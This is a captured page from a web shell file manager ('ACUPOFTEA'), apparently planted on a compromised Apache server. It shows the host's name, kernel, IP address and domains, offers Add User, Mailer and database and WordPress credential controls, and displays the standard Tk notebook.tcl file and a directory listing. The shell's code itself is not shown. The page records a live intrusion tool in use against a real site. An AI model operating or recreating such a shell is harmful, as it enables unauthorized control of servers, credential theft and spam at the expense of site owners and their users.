System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
tk8.6
/
ttk
/
216.73.216.38
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
notebook.tcl
# # Bindings for TNotebook widget # namespace eval ttk::notebook { variable TLNotebooks ;# See enableTraversal } bind TNotebook <ButtonPress-1> { ttk::notebook::Press %W %x %y } bind TNotebook <Key-Right> { ttk::notebook::CycleTab %W 1; break } bind TNotebook <Key-Left> { ttk::notebook::CycleTab %W -1; break } bind TNotebook <Control-Key-Tab> { ttk::notebook::CycleTab %W 1; break } bind TNotebook <Control-Shift-Key-Tab> { ttk::notebook::CycleTab %W -1; break } catch { bind TNotebook <Control-ISO_Left_Tab> { ttk::notebook::CycleTab %W -1; break } } bind TNotebook <Destroy> { ttk::notebook::Cleanup %W } # ActivateTab $nb $tab -- # Select the specified tab and set focus. # # Desired behavior: # + take focus when reselecting the currently-selected tab; # + keep focus if the notebook already has it; # + otherwise set focus to the first traversable widget # in the newly-selected tab; # + do not leave the focus in a deselected tab. # proc ttk::notebook::ActivateTab {w tab} { set oldtab [$w select] $w select $tab set newtab [$w select] ;# NOTE: might not be $tab, if $tab is disabled if {[focus] eq $w} { return } if {$newtab eq $oldtab} { focus $w ; return } update idletasks ;# needed so focus logic sees correct mapped states if {[set f [ttk::focusFirst $newtab]] ne ""} { ttk::traverseTo $f } else { focus $w } } # Press $nb $x $y -- # ButtonPress-1 binding for notebook widgets. # Activate the tab under the mouse cursor, if any. # proc ttk::notebook::Press {w x y} { set index [$w index @$x,$y] if {$index ne ""} { ActivateTab $w $index } } # CycleTab -- # Select the next/previous tab in the list. # proc ttk::notebook::CycleTab {w dir} { if {[$w index end] != 0} { set current [$w index current] set select [expr {($current + $dir) % [$w index end]}] while {[$w tab $select -state] != "normal" && ($select != $current)} { set select [expr {($select + $dir) % [$w index end]}] } if {$select != $current} { ActivateTab $w $select } } } # MnemonicTab $nb $key -- # Scan all tabs in the specified notebook for one with the # specified mnemonic. If found, returns path name of tab; # otherwise returns "" # proc ttk::notebook::MnemonicTab {nb key} { set key [string toupper $key] foreach tab [$nb tabs] { set label [$nb tab $tab -text] set underline [$nb tab $tab -underline] set mnemonic [string toupper [string index $label $underline]] if {$mnemonic ne "" && $mnemonic eq $key} { return $tab } } return "" } # +++ Toplevel keyboard traversal. # # enableTraversal -- # Enable keyboard traversal for a notebook widget # by adding bindings to the containing toplevel window. # # TLNotebooks($top) keeps track of the list of all traversal-enabled # notebooks contained in the toplevel # proc ttk::notebook::enableTraversal {nb} { variable TLNotebooks set top [winfo toplevel $nb] if {![info exists TLNotebooks($top)]} { # Augment $top bindings: # bind $top <Control-Key-Next> {+ttk::notebook::TLCycleTab %W 1} bind $top <Control-Key-Prior> {+ttk::notebook::TLCycleTab %W -1} bind $top <Control-Key-Tab> {+ttk::notebook::TLCycleTab %W 1} bind $top <Control-Shift-Key-Tab> {+ttk::notebook::TLCycleTab %W -1} catch { bind $top <Control-Key-ISO_Left_Tab> {+ttk::notebook::TLCycleTab %W -1} } if {[tk windowingsystem] eq "aqua"} { bind $top <Option-KeyPress> \ +[list ttk::notebook::MnemonicActivation $top %K] } else { bind $top <Alt-KeyPress> \ +[list ttk::notebook::MnemonicActivation $top %K] } bind $top <Destroy> {+ttk::notebook::TLCleanup %W} } lappend TLNotebooks($top) $nb } # TLCleanup -- <Destroy> binding for traversal-enabled toplevels # proc ttk::notebook::TLCleanup {w} { variable TLNotebooks if {$w eq [winfo toplevel $w]} { unset -nocomplain -please TLNotebooks($w) } } # Cleanup -- <Destroy> binding for notebooks # proc ttk::notebook::Cleanup {nb} { variable TLNotebooks set top [winfo toplevel $nb] if {[info exists TLNotebooks($top)]} { set index [lsearch -exact $TLNotebooks($top) $nb] set TLNotebooks($top) [lreplace $TLNotebooks($top) $index $index] } } # EnclosingNotebook $w -- # Return the nearest traversal-enabled notebook widget # that contains $w. # # BUGS: this only works properly for tabs that are direct children # of the notebook widget. This routine should follow the # geometry manager hierarchy, not window ancestry, but that # information is not available in Tk. # proc ttk::notebook::EnclosingNotebook {w} { variable TLNotebooks set top [winfo toplevel $w] if {![info exists TLNotebooks($top)]} { return } while {$w ne $top && $w ne ""} { if {[lsearch -exact $TLNotebooks($top) $w] >= 0} { return $w } set w [winfo parent $w] } return "" } # TLCycleTab -- # toplevel binding procedure for Control-Tab / Control-Shift-Tab # Select the next/previous tab in the nearest ancestor notebook. # proc ttk::notebook::TLCycleTab {w dir} { set nb [EnclosingNotebook $w] if {$nb ne ""} { CycleTab $nb $dir return -code break } } # MnemonicActivation $nb $key -- # Alt-KeyPress binding procedure for mnemonic activation. # Scan all notebooks in specified toplevel for a tab with the # the specified mnemonic. If found, activate it and return TCL_BREAK. # proc ttk::notebook::MnemonicActivation {top key} { variable TLNotebooks foreach nb $TLNotebooks($top) { if {[set tab [MnemonicTab $nb $key]] ne ""} { ActivateTab $nb [$nb index $tab] return -code break } } }
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
..
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
altTheme.tcl
text/plain
3.46 KB
-rw-r--r--
2019-10-16 05:25:10
aquaTheme.tcl
text/plain
1.95 KB
-rw-r--r--
2019-10-16 05:25:10
button.tcl
text/plain
2.91 KB
-rw-r--r--
2019-10-16 05:25:10
clamTheme.tcl
text/plain
4.49 KB
-rw-r--r--
2019-10-16 05:25:10
classicTheme.tcl
text/plain
3.6 KB
-rw-r--r--
2019-10-16 05:25:10
combobox.tcl
text/plain
12.13 KB
-rw-r--r--
2019-10-16 05:25:10
cursors.tcl
text/plain
3.91 KB
-rw-r--r--
2019-10-16 05:25:10
defaults.tcl
text/plain
4.25 KB
-rw-r--r--
2019-10-16 05:25:10
entry.tcl
text/plain
16.01 KB
-rw-r--r--
2019-10-16 05:25:10
fonts.tcl
text/plain
5.45 KB
-rw-r--r--
2019-10-16 05:25:10
menubutton.tcl
text/plain
4.8 KB
-rw-r--r--
2019-10-16 05:25:10
notebook.tcl
text/plain
5.49 KB
-rw-r--r--
2019-10-16 05:25:10
panedwindow.tcl
text/plain
1.88 KB
-rw-r--r--
2019-10-16 05:25:10
progress.tcl
text/plain
1.06 KB
-rw-r--r--
2019-10-16 05:25:10
scale.tcl
text/plain
2.63 KB
-rw-r--r--
2019-10-16 05:25:10
scrollbar.tcl
text/plain
3.02 KB
-rw-r--r--
2019-10-16 05:25:10
sizegrip.tcl
text/plain
2.34 KB
-rw-r--r--
2019-10-16 05:25:10
spinbox.tcl
text/plain
4.16 KB
-rw-r--r--
2019-10-16 05:25:10
treeview.tcl
text/plain
8.65 KB
-rw-r--r--
2019-10-16 05:25:10
ttk.tcl
text/plain
4.44 KB
-rw-r--r--
2019-10-16 05:25:10
utils.tcl
text/plain
8.36 KB
-rw-r--r--
2019-10-16 05:25:10
vistaTheme.tcl
text/plain
9.12 KB
-rw-r--r--
2019-10-16 05:25:10
winTheme.tcl
text/plain
2.58 KB
-rw-r--r--
2019-10-16 05:25:10
xpTheme.tcl
text/plain
1.88 KB
-rw-r--r--
2019-10-16 05:25:10
~ ACUPOFTEA - mail.ontime-ae.com